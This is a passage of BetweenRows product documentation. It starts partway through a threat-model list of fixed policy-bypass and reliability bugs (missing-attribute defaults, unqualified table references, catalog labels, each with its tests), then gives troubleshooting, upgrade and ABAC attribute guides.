1. **API validation**: `validate_attribute_definition` in `attribute_definition_handlers.rs` rejects reserved key names (`username`, `id`, `user_id`, `roles`) for `entity_type = "user"`. The attribute definition cannot be persisted in the first place.
2. **Runtime priority**: `UserVars::get()` uses a `match` statement where built-in fields are checked first, before any custom-attribute lookup. Even if a reserved-name attribute exists in the JSON column, the built-in always wins.

Note: `tenant` is *not* a reserved key — it's a regular custom attribute. `{user.tenant}` resolves from the user's attributes via the attribute definition system. The security control for tenant isolation is that only admins can set user attributes, not the attribute key being reserved.

**Tests**:

* `policy_enforcement::abac_builtin_field_override_security` (integration) — attack 1 (API rejects `username` as attribute key with 422)
* `hooks::policy::tests::test_user_vars_builtin_priority_over_attributes` (unit) — attack 2 (`UserVars::get()` returns the built-in value even when a conflicting attribute is injected into the JSON)

***

### 68. Unsupported mask or filter expression syntax fails silently

**Vector**: Admin configures a policy whose `mask_expression` or `filter_expression` uses SQL syntax that the proxy's expression parser does not support (e.g., `EXTRACT`, legacy `SUBSTRING` variants, correlated subqueries). A parse failure at query time silently dropping the policy would cause sensitive columns to return raw values while the admin believes the mask is in effect.

**Attacks**:

1. **Unsupported function in mask** — policy with `mask_expression = "EXTRACT(HOUR FROM created_at)"` saved successfully; at query time the parse fails and the raw column is returned
2. **Newly-supported expression form** — `CASE WHEN` expressions must round-trip through parse and application (previously unsupported, now supported — regression-guarded)

**Defense**: `validate_expression()` is called at policy create/update time (inside `validate_definition()` in `dto.rs`). It dry-run parses the expression with dummy user variables via the same `sql_ast_to_df_expr` used at query time. Unsupported syntax returns HTTP 422 immediately — the policy is never persisted. At query time, the defensive-fallback swallowing behavior in `PolicyEffects::collect()` remains, but in practice only already-validated expressions reach query time. The two layers together prevent any silently-dropped mask from leaking raw values.

**Previously**: `parse_mask_expr` errors were logged but swallowed inside `PolicyEffects::collect()`. A policy with unsupported syntax would save successfully (no save-time validation existed) and then silently fail to apply at query time — the mask was never inserted into `column_masks`, and the raw column value passed through to the result set. The admin had no indication that the policy was inert.

**Tests**:

* `policy_enforcement::abac_column_mask_case_when` (integration) — attack 2 (regression test for a previously-unsupported syntax that now works end-to-end)
* Save-time validation tests in `admin::dto::tests::validate_filter_expression_*` cover attack 1's general shape (unsupported syntax → 422 at save)

***

### 69. Zero-column scan projection must not crash downstream SQL pushdown

**Vector**: Queries that don't reference any table columns (e.g. `SELECT COUNT(*) FROM t`, `SELECT COUNT(1) FROM t`, `SELECT 1 FROM t`) are optimized by DataFusion 52+ to `TableScan(projection = Some([]))` — zero columns projected. The `datafusion-table-providers` crate's `SqlExec` then generates upstream SQL of the form `SELECT 1 FROM t` and returns a 1-column physical schema (`ONE_COLUMN_SCHEMA`), but the logical plan expects 0 columns. The physical/logical schema mismatch causes an execution-time error, breaking every zero-column query. This isn't a security bypass but a reliability/DoS: an attacker (or a legitimate user) writing `SELECT COUNT(*)` denies themselves service.

**Attacks**:

1. **COUNT(\*) with no policies** — `SELECT COUNT(*) FROM orders` on an open-mode datasource with no policies assigned
2. **COUNT(\*) with column\_allow only** — same query in `policy_required` mode with a `column_allow` policy (no `row_filter`)
3. **COUNT(\*) with column\_deny** — same with `column_deny` on any column
4. **COUNT(\*) with column\_mask** — same with `column_mask`
5. **COUNT(\*) over a JOIN** — `SELECT COUNT(*) FROM a JOIN b ON ...` where the outer SELECT references no columns

**Defense**: `EmptyProjectionFixRule` is registered on every `SessionContext` as a DataFusion optimizer rule. It walks the plan tree and converts any `TableScan(projection = Some([]))` to `TableScan(projection = Some([0]))` — selecting at least the first column. Parent nodes (e.g., `Aggregate` computing `COUNT(*)`) never reference scan columns in this situation, so the extra column is harmless at the aggregation level but satisfies `SqlExec`'s 1-column physical-schema expectation.

**Previously**: No optimizer rule prevented zero-column projections from reaching `SqlExec`. The pre-existing `ScanFilterProjectionFixRule` only fired when pushed-down filters were present (it existed to handle a related projection-expansion issue — see vector 25), so queries without filters (or without row\_filter policies) fell straight into the mismatch and errored at execution time. Every `SELECT COUNT(*)` against a filter-less table failed.

**Tests**:

* `policy_enforcement::count_star_open_mode_no_policies` (integration) — attack 1
* `policy_enforcement::count_star_with_column_allow_only` (integration) — attack 2
* `policy_enforcement::count_star_with_column_deny` (integration) — attack 3
* `policy_enforcement::count_star_with_column_mask` (integration) — attack 4
* `policy_enforcement::count_star_with_join` (integration) — attack 5

***

### 70. Missing user attributes must not silently fall back to empty string

**Vector**: A row filter or mask expression references `{user.tenant}`, but the queried user has no `tenant` attribute set. A silent fallback to empty string produces `WHERE tenant = ''` — which either leaks rows where `tenant` happens to be empty (for tenants with blank names, or for legacy rows written before tenant tagging) or returns silent empty results that look like "no data" instead of "policy misconfigured." In a decision function context, the same situation manifests as `undefined` in JavaScript, where comparisons like `user.clearance >= 0` silently evaluate to `false`, again failing closed but without any signal that the attribute was missing.

**Attacks**:

1. **Missing attribute with defined default** — row filter `tenant = {user.tenant}`, user has no `tenant` attribute, attribute definition has `default_value = "public"`; substitution must use `"public"`
2. **Missing attribute with NULL default** — same shape with `default_value = NULL`; substitution must produce SQL `NULL` (which returns zero rows for `=` comparison, failing closed)
3. **Missing attribute with no definition** — `{user.nonexistent}` where no attribute definition exists; must return an error, not substitute empty string
4. **Missing attribute in decision function** — decision function reads `ctx.session.user.clearance`; if missing with NULL default, it must appear as JSON `null` (distinguishable from `undefined`), not omit the field entirely
5. **Present attribute ignores default** — user has the attribute set; the default is never applied

**Defense**: `resolve_user_attribute_defaults()` in `hooks/policy.rs` merges user attributes with their definition defaults. Missing attributes with a non-NULL `default_value` get that value substituted as a typed literal (Utf8 / Int64 / Boolean, matching the definition's `value_type`). Missing attributes with a NULL default get SQL `NULL` (and JSON `null` in decision contexts). References to attributes with no definition at all return an error instead of silently substituting empty string. The helper is the single source of truth and is called in all three substitution paths: `mangle_vars()` (row filters + masks), query-level decision context (`handle_query`), and visibility-level decision context (`build_typed_json_attributes`).

**Previously**: `mangle_vars()` used `unwrap_or("")` for missing attributes — no error, no warning, no telemetry. Decision function context omitted missing attributes entirely (they appeared as `undefined` in JS), causing expressions like `user.clearance >= 0` to silently evaluate to `false`. Admins who misspelled an attribute key or forgot to set a default saw silently-empty result sets with no indication that their policy was misconfigured, and users who lacked a required attribute got either "no data" or (worse) rows matching the empty-string sentinel.

**Tests**:

* `hooks::policy::tests::test_mangle_vars_missing_attr_with_default` (unit) — attack 1
* `hooks::policy::tests::test_mangle_vars_missing_attr_null_default` (unit) — attack 2
* `hooks::policy::tests::test_mangle_vars_missing_attr_no_definition` (unit) — attack 3
* `hooks::policy::tests::test_mangle_vars_missing_attr_default_integer` (unit) — attack 1 (integer type)
* `hooks::policy::tests::test_mangle_vars_missing_attr_default_list` (unit) — attack 1 (list type)
* `hooks::policy::tests::test_mangle_vars_present_attr_ignores_default` (unit) — attack 5
* `hooks::policy::tests::test_resolve_user_attribute_defaults` (unit) — shared helper coverage
* `policy_enforcement::row_filter_missing_attr_uses_default` (integration) — attack 1 end-to-end
* `policy_enforcement::row_filter_missing_attr_null_default` (integration) — attack 2 end-to-end
* `policy_enforcement::row_filter_attr_present_ignores_default` (integration) — attack 5 end-to-end
* `policy_enforcement::column_mask_missing_attr_uses_default` (integration) — attack 1 for masks
* `policy_enforcement::column_mask_missing_attr_null_default` (integration) — attack 2 for masks
* `policy_enforcement::decision_fn_missing_attr_uses_default` (integration) — attack 4

***

### 71. Policy bypass via unqualified table reference

**Vector**: A policy targets a specific schema (e.g. `schemas: ["public"]`), and tables live in the `public` schema upstream. A user queries with an unqualified table reference (`SELECT * FROM orders` instead of `SELECT * FROM public.orders`). If the policy matcher treats the scan's `schema` field as the empty string for bare references (because DataFusion parses `"orders"` as `TableReference::Bare { table: "orders" }` with no schema component), the matcher compares `""` against `"public"`, fails to find a match, and silently skips the policy — the user gets all rows unfiltered. This affects **all five policy types** (`row_filter`, `column_mask`, `column_deny`, `column_allow`, `table_deny`) because they all consume the same `user_tables` vector.

**Attacks**:

1. **Bare reference with row\_filter policy** — `SELECT * FROM orders` against a policy with `schemas: ["public"]` row filter; must apply the filter
2. **Bare reference with column\_mask policy** — same shape with a column mask; mask must apply
3. **Bare reference with column\_deny policy** — same with deny; column must be stripped
4. **Bare reference with column\_allow in policy\_required mode** — `column_allow` must still grant visibility (symmetric fail-closed case)
5. **Bare reference with table\_deny + query-context decision function** — `table_deny` with `evaluate_context = "query"` (visibility-layer is skipped per vector 58, so enforcement depends entirely on the query-time code path); bare reference must still hit the deny
6. **Bare reference inside CTE wrapping** — combines vectors 4 and 71: `WITH t AS (SELECT * FROM orders) SELECT * FROM t`; must still apply the policy
7. **Three-part reference with datasource catalog** — new capability (from vector 72) where `SELECT ... FROM ds_name.public.orders` must apply the same policies as the bare reference

**Defense**: The policy layer reads the session's default schema from DataFusion's own `SessionContext` at query time — the same value `create_session_context_from_catalog` configured via `with_default_catalog_and_schema` at connect time — and uses it as the fallback whenever `scan.table_name.schema()` returns `None`. This is safe because BetweenRows installs exactly one default schema per session (`select_default_schema()` picks `"public"` if present, else alphabetical first), and `SET search_path` is explicitly blocked by `ReadOnlyHook`, so a bare reference is guaranteed to resolve against that one schema. A 3-line helper `scan_policy_key(scan, default_schema)` is used consistently by `collect_tables_inner`, `apply_row_filters`, `apply_column_mask_at_scan`, `apply_projection_qualified`, and `extract_metadata_inner` — so all five policy types see the resolved schema, not the empty-string default. `PolicyEffects` stores `default_schema` as a field populated in `collect` from `session_context.state().config_options().catalog.default_schema`, ensuring consistency across per-scan calls. The fix reads DataFusion's resolved state directly rather than maintaining a parallel guess, and is forward-compatible with future `SET search_path` support (at which point `default_schema: String` becomes `search_path: Vec<String>` and the fallback walks the list).

**Previously**: `collect_tables_inner` read `scan.table_name.schema().unwrap_or("")` and used the empty string verbatim as the df\_schema key. `PolicyEffects::collect` then passed that vector to all five policy-type loops, where `TargetEntry::matches_table` compared `""` against `"public"` via glob matching and returned false. Existing integration tests never caught this because every authored policy used `schemas: ["*"]` (wildcard, which matches even the empty string), and existing unit tests used `LogicalPlanBuilder::scan("public.orders", ...)` with explicit schema qualifiers. A user on production who typed `SELECT * FROM orders` against a specifically-targeted policy silently bypassed the entire policy stack.

**Migration note**: This fix changed the shape of `ctx.query.tables` in decision function context from a flat-string array (`["public.orders"]`) to a structured array of `{datasource, schema, table}` objects. Any deployed decision function that read `ctx.query.tables` needs a mechanical update — e.g., `ctx.query.tables.includes("public.orders")` becomes `ctx.query.tables.some(t => t.schema === "public" && t.table === "orders")`. The flat form was unreliable anyway (bare references showed up as `"orders"`, not `"public.orders"`, so any exact-string matching was already buggy). The new object form makes that bug impossible to write by keying on discrete fields.

**Tests**:

* `hooks::policy::tests::test_collect_user_tables_bare_reference_uses_default_schema` (unit) — asserts a bare scan resolves to `("public", "orders")` not `("", "orders")` when `default_schema = "public"`
* `hooks::policy::tests::test_collect_user_tables_includes_user_table` (unit) — non-bare reference still works
* `policy_enforcement::bare_reference_row_filter_still_applies` (integration) — attack 1
* `policy_enforcement::bare_reference_column_mask_still_applies` (integration) — attack 2
* `policy_enforcement::bare_reference_column_deny_still_applies` (integration) — attack 3
* `policy_enforcement::bare_reference_column_allow_policy_required_still_applies` (integration) — attack 4
* `policy_enforcement::bare_reference_table_deny_query_ctx_still_applies` (integration) — attack 5
* `policy_enforcement::bare_reference_cte_wrapping_still_applies` (integration) — attack 6
* `policy_enforcement::three_part_reference_with_datasource_catalog` (integration) — attack 7 (see vector 72)

***

### 72. Cross-database reference crash via hardcoded catalog label

**Vector**: Users connect to a BetweenRows datasource whose upstream Postgres database is named anything other than `postgres` — i.e., every real deployment. Any query that reaches DataFusion's SQL pushdown path emits a 3-part `TableReference` into the outgoing SQL — `SELECT ... FROM postgres.public.orders`. Upstream Postgres rejects this with `ERROR: cross-database references are not implemented: "postgres.public.orders"` because the first segment doesn't match the connected database. Every non-admin query fails. The user-visible symptom is total breakage on any production deployment.

**Attacks**:

1. **Any query against a non-`postgres`-named upstream database** — `SELECT * FROM orders` against an upstream DB named `ecommerce_demo`; must not emit `postgres.public.orders` in the pushed-down SQL
2. **Three-part reference using the datasource name as catalog** — new capability: `SELECT * FROM ds_threepart.threepart.orders` must resolve correctly and be policy-enforced identically to bare and 2-part variants

**Defense**: Two coordinated fixes:

1. `SqlTable::new_with_schema` uses `TableReference::partial(schema, name)` — a 2-part reference that unparses as `schema.table`, which upstream Postgres accepts regardless of the connected database name. The `SqlTable`'s stored reference is only used for SQL generation; DataFusion's catalog lookup happens separately at the `CatalogProvider` layer. Dropping the catalog segment is strictly safer because it decouples outgoing SQL from any catalog-label choice.

2. `create_session_context_from_catalog` takes a `datasource_name: &str` parameter and uses it for all three catalog-label sites (`with_default_catalog_and_schema`, `register_catalog`, `setup_pg_catalog`). The datasource name is the BetweenRows user-facing label (e.g. `"prod"`), not the upstream PG database name (e.g. `"ecommerce_demo"`). Users can write 3-part references like `SELECT * FROM prod.public.orders` that DataFusion resolves correctly, and policies apply the same enforcement to bare, 2-part, and 3-part forms. We deliberately do **not** use the upstream PG database name as the catalog label — that would leak infrastructure identifiers into user-visible SQL and break on upstream migrations.

**Previously**: Two independent issues compounded. First, `VirtualSchemaProvider::table` in `engine/mod.rs` built each `SqlTable` with `TableReference::full("postgres", schema, name)`, so the stored reference was a 3-part form that the SQL unparser emitted verbatim in pushed-down queries. Second, `create_session_context_from_catalog` hardcoded the DataFusion catalog label as `"postgres"` in three places — not as a semantic identifier, but as an arbitrary placeholder chosen during early development. This placeholder label became the origin of the `"postgres"` segment that `SqlTable` was relaying into outgoing SQL. Every deployment with an upstream database named anything other than `"postgres"` was effectively broken: queries failed with a cross-database reference error at upstream Postgres, and the only workaround was to write `postgres.public.orders` explicitly — which exposed a hardcoded internal placeholder as a required user-visible prefix.

**Rename fragility**: Because the datasource name is now user-facing (and the schema alias similarly), admin renames of either are breaking changes for SQL queries, decision functions that reference `ctx.session.datasource.name`, policy target configuration, and stored dashboards/queries. Policy *enforcement* on in-flight queries continues to work correctly across renames — `matches_table` resolves aliases to upstream schemas via `df_to_upstream` at session build time, so only user-typed identifiers are affected. A future rename-warning UX will surface the impact before admins commit renames. See the "Rename fragility and label-based identifiers" section in `docs/permission-system.md`.

**Tests**:

* `policy_enforcement::three_part_reference_with_datasource_catalog` (integration) — attack 2 (creates a datasource named `ds_threepart`, connects, issues `SELECT ... FROM ds_threepart.threepart.orders`, asserts the query resolves and is policy-enforced identically to bare and 2-part variants)
* Attack 1 is covered transitively by every existing integration test in `tests/policy_enforcement.rs` (~130 tests) — all use testcontainers-provisioned Postgres with auto-generated database names, none named `"postgres"`, so every test would have failed under the pre-fix `full("postgres", ...)` path

---

---
url: /operations/troubleshooting.md
description: >-
  Common BetweenRows issues and how to diagnose them — connection failures,
  policy not matching, client compatibility, WASM errors.
---

# Troubleshooting

A field guide for the most common issues. If your problem isn't here, check the [Query Audit log](/guides/audit-debugging) first — it usually explains what's happening.

## Connection issues

### "Cannot connect to the proxy from psql"

```
psql: error: connection to server at "127.0.0.1", port 5434 failed: Connection refused
```

Walk the stack:

1. **Is the proxy process running?**

   ```sh
   docker ps --filter name=betweenrows
   ```

   Should show a running container. If not:

   ```sh
   docker logs betweenrows
   ```

   Look for startup errors — missing env vars (`BR_ADMIN_PASSWORD`), migration failures, port conflicts.

2. **Is the data plane port published?** Your `docker run` needs `-p 5434:5434`. If you forgot, the proxy is running but not reachable from outside the container.

3. **Is anything else on port 5434?**

   ```sh
   lsof -iTCP:5434 -sTCP:LISTEN
   ```

4. **Firewall / security group?** In cloud deployments, check that the data plane port is open between your client and the proxy. Remember: port 5434 should NOT be publicly reachable — connect through a VPN, bastion, or private network.

### "Authentication failed"

```
FATAL: password authentication failed for user "alice"
```

Check in order:

1. **Does `alice` exist?** Go to **Users** in the admin UI. If not, create her.
2. **Is the password correct?** Reset it via **Users → alice → Change Password** in the admin UI.
3. **Is `alice.is_active = true`?** Deactivated users cannot connect.
4. **Does `alice` have data source access?** She needs at least one matching entry in `data_source_access` — user-scoped, role-scoped (via an active role), or all-scoped. Check the data source's **User Access** and **Role Access** tabs.
5. **Is the data source name in the connection string correct?** The database field in the psql URL must exactly match the data source name you created in the admin UI (`postgresql://alice:secret@host:5434/my-datasource`).

### "SSL/TLS error" on connect

BetweenRows' data plane does not currently terminate TLS. If your client is trying `sslmode=require` or higher, it will fail. Use `sslmode=disable` on the direct connection, and terminate TLS upstream of the proxy (load balancer, service mesh, or Cloudflare Tunnel).

```sh
psql 'postgresql://alice:secret@127.0.0.1:5434/my-datasource?sslmode=disable'
```

See [Security Overview](/concepts/security-overview) for why TLS termination is deployment-time responsibility.

### "My SQL client connects, but schema browsing is empty"

Some SQL clients (DBeaver, DataGrip, some Metabase configurations) send metadata queries against `pg_catalog` or `information_schema` that BetweenRows may not fully support yet. Symptoms:

* The client connects without error.
* The sidebar shows no tables.
* Simple `SELECT * FROM mytable` works fine.

Workarounds:

* **Refresh the schema** in your client (usually a right-click or F5).
* **Use `\dt` in psql** to confirm tables are visible through BetweenRows' own catalog introspection. If psql sees them, the data plane is fine — it's your specific client's metadata queries that are failing.
* **Report the issue** on [GitHub](https://github.com/getbetweenrows/betweenrows/issues) with the client name, version, and any error messages.

See [Known Limitations](/operations/known-limitations) → *metadata queries* for the broader picture.

## Data source issues

### "Test Connection fails when creating a data source"

1. **Is the upstream database reachable from inside the proxy container?** If the proxy is in Docker and the upstream is on the host, use `host.docker.internal` (Docker Desktop) instead of `127.0.0.1`. If both are in Docker, use the container network and the upstream container's name.
2. **Is the upstream user and password correct?** Test the same credentials with a separate psql from the proxy host.
3. **Does the upstream user have permission to read the catalog?** BetweenRows needs to query `information_schema.schemata`, `information_schema.tables`, and `information_schema.columns` during discovery. Granting `pg_read_all_data` (or read on the relevant schemas) is usually enough.
4. **Check the proxy logs** (`docker logs betweenrows`) for the specific error message — connection refused vs authentication failed vs permission denied all indicate different things.

### "Discovery shows no schemas"

The upstream user doesn't have visibility into any schemas with user-visible tables. Check:

1. Does the user have `USAGE` on at least one schema and `SELECT` on at least one table?
2. Are you looking at the right database? The data source `config.db` field must point at the correct upstream database.

### "Discovery shows tables but columns are missing"

Some column types are not supported by the underlying `datafusion-table-providers` crate (notably `regclass`, `regproc`). These are dropped during discovery — see [Known Limitations](/operations/known-limitations).

## Policy issues

### "My row filter isn't being applied"

See the full walkthrough in [Debug a policy with the audit log](/guides/audit-debugging). Short version:

1. Check the Query Audit entry for the test query.
2. Is your policy listed in `Policies applied`? If not, targets didn't match — check schema/table names.
3. If listed, does the `Rewritten query` contain the expected filter? If not, check the filter expression and the user's attribute values.

### "The policy returns zero rows when it shouldn't"

Common cause: an attribute used in the filter is missing on the user, and the attribute definition's `default_value` is NULL. `WHERE tenant = NULL` evaluates to NULL → false → zero rows.

Fix: set a default value on the attribute definition, or set the attribute on the user.

### "Column mask returns original values"

1. **Is the policy enabled?** Disabled policies are not enforced.
2. **Does the target `columns` array exactly match the catalog column name?** Case-sensitive. If the upstream column is `SSN` and your target is `ssn`, the policy doesn't fire.
3. **Is another `column_mask` policy with a lower priority number winning?** Only the highest-precedence mask applies per column.
4. **Does the expression validate?** Open the policy in the admin UI; invalid expressions are rejected at save time, but a recent bug could theoretically slip by — check the audit log's `Policies applied` JSON for any error field.

## Query / WASM issues

### "Decision function on\_error='deny' is firing unexpectedly"

The WASM runtime raised an error during evaluation. Check:

1. **Log output from the decision function.** Set the policy's `log_level` to `info` and re-run the query. Captured `console.log` output appears in the `policies_applied` audit field.
2. **Fuel exhaustion.** Decision functions are capped at 1,000,000 WASM instructions. An infinite loop or very expensive computation triggers fuel exhaustion. Optimize the function or simplify it.
3. **Invalid return shape.** The function must return `{ fire: boolean }` — anything else is treated as an error. Check the JS source.
4. **Javy version mismatch.** If the function was compiled with an older Javy version, a proxy upgrade may have bumped the harness requirements. Re-save the function to trigger a recompile.

### "Query fails with SQLSTATE 42501"

BetweenRows returns this when all selected columns are stripped by `column_deny`. The error message lists the restricted columns. Either:

1. Remove the denied columns from your `SELECT` list.
2. Request access to those columns via a `column_allow` policy assigned to your user.

This is different from "table not found" — the table is visible, but the specific columns you asked for are denied.

## Performance issues

### "Queries feel slower than direct PostgreSQL"

BetweenRows adds query planning, policy evaluation, and Arrow → pgwire encoding overhead. For small queries this is typically under 10ms. For large result sets, most of the overhead is in encoding.

Check:

1. **The `execution_time_ms`** in the Query Audit entry. Is it close to what the upstream would take directly?
2. **Filter pushdown.** Run `EXPLAIN SELECT ...` and check if filters are pushed down to the upstream. Pushdown depends on the filter expression — simple equality and range predicates push, complex expressions may not.
3. **Decision functions on hot-path policies.** Each decision function evaluation is ~1ms. A policy with a decision function evaluated on every query adds up. Consider moving the condition into a `CASE WHEN` in the filter expression if possible.

### "Startup takes a long time"

Most startup time is migrations (fast) and catalog cache priming. If startup is over 10 seconds:

1. **Check the admin database size.** A very large `query_audit_log` can slow the migration phase. Consider truncating old audit entries.
2. **Check upstream reachability.** If the proxy tries to warm caches for upstream databases that are unreachable, it can take a while to time out.

## Getting help

* **[GitHub Issues](https://github.com/getbetweenrows/betweenrows/issues)** — bug reports and questions. When filing an issue, include:
  * The running BetweenRows version (visible in the admin UI footer, or via `GET /health` on the admin plane).
  * The relevant admin logs (`docker logs betweenrows`).
  * The Query Audit entry for the failing query, if the issue is policy-related.
* **[Known Limitations](/operations/known-limitations)** — check here first to see if your issue is a known behavior rather than a bug.
* **[Security Overview](/concepts/security-overview)** — for threat-model and deployment questions.

---

---
url: /operations/upgrading.md
description: >-
  Safely upgrade BetweenRows between versions — pin the tag, back up /data, read
  the changelog, swap the image, verify.
---

# Upgrading

Upgrades between minor versions can include database migrations, configuration changes, or API adjustments. Always upgrade deliberately, not automatically — pin your Docker image tag to a specific version (e.g. `0.16.2`) so that a container restart never crosses a release boundary on its own.

## Upgrade checklist

1. **Read the changelog** between your current version and the target version. [CHANGELOG.md](https://github.com/getbetweenrows/betweenrows/blob/main/CHANGELOG.md) on GitHub lists every release. Pay special attention to:
   * **Breaking changes** — API shape changes, renamed fields, removed endpoints
   * **Migration requirements** — new database columns, backfills, long-running schema changes
   * **Configuration changes** — new required env vars, renamed or deprecated ones

2. **Back up `/data`.** See the [Backups](/operations/backups) page. Don't skip this even for minor version bumps — migrations are forward-only, and recovering from a failed migration may require a snapshot.

3. **Have a rollback plan.** If the upgrade fails or reveals a regression:
   * With a volume snapshot, you can restore `/data` and roll back to the previous image tag.
   * Without a snapshot, rollback means restoring from application-level backups (export policies as YAML before upgrading, re-import after rollback).

4. **Test in a staging environment first** if you have one. The staging data source can point at a clone of your production upstream.

5. **Pull the new image.**

   ```sh
   docker pull ghcr.io/getbetweenrows/betweenrows:0.16.2
   ```

6. **Stop the old container, start the new one** with the same env vars and volume mount.

   ```sh
   docker stop betweenrows
   docker rm betweenrows
   docker run -d \
     --name betweenrows \
     --restart unless-stopped \
     -e BR_ADMIN_PASSWORD="$BR_ADMIN_PASSWORD" \
     -e BR_ENCRYPTION_KEY="$BR_ENCRYPTION_KEY" \
     -e BR_ADMIN_JWT_SECRET="$BR_ADMIN_JWT_SECRET" \
     -p 5434:5434 -p 5435:5435 \
     -v /srv/betweenrows/data:/data \
     ghcr.io/getbetweenrows/betweenrows:0.16.2
   ```

   Or with Docker Compose: change the `image:` tag in `compose.yaml` and run `docker compose up -d`.

7. **Watch the logs** for migration output.

   ```sh
   docker logs -f betweenrows
   ```

   Migrations run automatically on startup. You should see messages indicating each migration applied and the final "ready" or "listening" log line. A crash during migration is a serious event — stop, investigate, and restore from the backup if necessary.

8. **Verify the admin UI loads** at port 5435 and you can log in.

9. **Verify the data plane** by connecting with psql as an existing user and running a query you know should work. Check the Query Audit page to confirm the query was processed normally.

10. **Spot-check a policy.** Pick a non-trivial policy and run a test query that should be filtered/masked. Confirm the rewritten SQL in the audit log matches what you expect.

## Fly.io upgrade

On Fly, the same pattern but via `flyctl`:

```sh
# Read the changelog first, then back up the volume:
fly ssh console --app <your-app-name> -C "tar -czf /tmp/data.tgz /data"
fly ssh sftp get /tmp/data.tgz ./data-backup-$(date +%F).tgz --app <your-app-name>

# Deploy the new image
fly deploy --image ghcr.io/getbetweenrows/betweenrows:0.16.2 --app <your-app-name>

# Tail logs during rollout
fly logs --app <your-app-name>
```

See [Install on Fly.io](/installation/fly) for the full deployment reference.

## Migration safety

Database migrations run automatically on startup. **Do not manually edit the `seaql_migrations` table** or the admin database files. If a migration fails and you cannot recover cleanly, restore from your backup and file a GitHub issue with the full logs.

## Downgrading

**Downgrades are not supported.** SeaORM migrations are forward-only. If you need to roll back:

1. Stop the new container.
2. Restore `/data` from the snapshot taken before the upgrade.
3. Start the old image version.

If you've made policy changes between the upgrade and the rollback, capture them first by snapshotting the admin database (see [Backups](/operations/backups)) — there is no YAML export API yet.

## Version pinning in CI/CD

If you deploy BetweenRows via an IaC or GitOps workflow, pin the tag in source control:

```yaml
# compose.yaml
services:
  betweenrows:
    image: ghcr.io/getbetweenrows/betweenrows:0.16.2   # not :latest
```

```hcl
# terraform
resource "fly_app" "betweenrows" {
  image = "ghcr.io/getbetweenrows/betweenrows:0.16.2"  # not :latest
}
```

Treat version bumps as deliberate PRs — with changelog review in the PR description and a small smoke-test playbook in the pipeline.

## See also

* **[Changelog](https://github.com/getbetweenrows/betweenrows/blob/main/CHANGELOG.md)** — version history and breaking changes
* **[Backups](/operations/backups)** — what to snapshot before upgrading
* **[Troubleshooting](/operations/troubleshooting)** — if something goes wrong

---

---
url: /guides/attributes.md
description: >-
  Define custom attributes, assign values to users, and use them in policy
  expressions for attribute-based access control.
---

# User Attributes (ABAC)

User attributes are custom key-value pairs on users that drive policy expressions via template variables. A `row_filter` with `org = {user.tenant}` uses the `tenant` attribute to decide which rows each user sees. This is BetweenRows' ABAC (attribute-based access control) layer.

## Purpose and when to use

Use attributes whenever policy logic depends on something about the user beyond their identity — their tenant, department, region, clearance level, or any other dimension. Attributes are schema-first: you define the attribute (key, type, allowed values) before assigning it to users. This prevents typos and enforces type consistency.

## Field reference

### Attribute definition fields

| Field | Type | Required | Default | Notes |
|---|---|---|---|---|
| `key` | string | Yes | — | The attribute name used in expressions as `{user.<key>}`. Cannot be a reserved key (see below). |
| `entity_type` | enum | Yes | — | `user` (only wired type at launch). |
| `display_name` | string | Yes | — | Human-readable label shown in the admin UI. |
| `value_type` | enum | Yes | — | `string`, `integer`, `boolean`, or `list`. Determines the SQL literal type. |
| `default_value` | varies | No | `null` | Value used when a user lacks this attribute. Type must match `value_type`. |
| `allowed_values` | JSON array | No | — | Optional enum constraint. If set, the admin UI shows a dropdown and the API rejects values not in the list. |
| `description` | string | No | — | Admin-facing documentation. |

### Value types and SQL literals

| `value_type` | Example attribute value | Produced SQL literal | Use in expressions |
|---|---|---|---|
| `string` | `"acme"` | `'acme'` (Utf8) | `org = {user.tenant}` |
| `integer` | `3` | `3` (Int64) | `sensitivity_level <= {user.clearance}` |
| `boolean` | `true` | `true` (Boolean) | `CASE WHEN {user.is_vip} THEN ...` |
| `list` | `["eng", "sec"]` | `'eng', 'sec'` (multiple Utf8) | `department IN ({user.departments})` |

### Reserved attribute keys

These keys are rejected by the API because they would shadow built-in identity fields:

* `username` — built-in: `{user.username}`
* `id` — built-in: `{user.id}`
* `user_id` — alias for `id`
* `roles` — reserved for future use

## Step-by-step tutorial

### 1. Define an attribute

Go to **Attribute Definitions → Create** in the admin UI:

* **Key:** `tenant`
* **Value type:** `string`
* **Allowed values:** `acme`, `globex`, `stark`
* **Default value:** (leave empty — users without a tenant should match nothing)
* **Description:** "Which customer tenant this user belongs to"

![Attribute definition form for the tenant attribute](/screenshots/attributes-def-form-v0.15.png)

### 2. Assign the attribute to a user

Edit a user (e.g., `alice`) and set her attributes:

```json
{
  "tenant": "acme"
}
```

Attribute assignment uses **full-replace semantics** — the entire attributes object is overwritten on each update. To add a new attribute, include all existing ones in the payload.

![Assigning attribute values to a user in the admin UI](/screenshots/attributes-assignment-v0.15.png)

### 3. Use the attribute in a policy expression

Create a `row_filter` policy with:

```sql
org = {user.tenant}
```

When alice queries, this becomes `org = 'acme'`. When bob (with `tenant: "globex"`) queries, it becomes `org = 'globex'`.

→ Full expression syntax: [Template Expressions](/reference/template-expressions)

## Patterns and recipes

### Tenant isolation (string)

The most common pattern. One attribute, one row filter:

```sql
-- Attribute: tenant (string)
-- Filter:
org = {user.tenant}
```

### Clearance level (integer)

Numeric comparison for hierarchical access:

```sql
-- Attribute: clearance (integer, default: 0)
-- Filter:
sensitivity_level <= {user.clearance}
```

### Department-based column masking (list)

Conditional masking based on department membership:

```sql
-- Attribute: departments (list)
-- Mask expression:
CASE WHEN 'hr' IN ({user.departments}) THEN ssn ELSE '***-**-' || RIGHT(ssn, 4) END
```

### VIP flag (boolean)

Boolean attribute in a conditional expression:

```sql
-- Attribute: is_vip (boolean, default: false)
-- Filter:
CASE WHEN {user.is_vip} THEN true ELSE org = {user.tenant} END
```

## Composition with other features

* **Template variables** are the bridge between attributes and policies. Every `{user.KEY}` in a filter or mask expression resolves from the user's attributes. See [Template Expressions](/reference/template-expressions) for the full reference.
* **Decision function context** also includes attributes: `ctx.session.user.tenant`, `ctx.session.user.clearance`, etc. — typed JSON values, not strings.
* **Roles do not carry attributes.** Attributes are always per-user. A role-scoped policy with `{user.tenant}` resolves from each member's individual tenant value.

## Limitations and catches

### Missing attribute behavior

When a user lacks an attribute that a policy references:

| User has it? | Definition has `default_value`? | Result |
|---|---|---|
| Yes | (irrelevant) | User's actual value |
| No | Non-NULL default | Default value as typed literal |
| No | NULL (no default) | SQL `NULL` — comparisons evaluate to false → **zero rows** |

::: warning
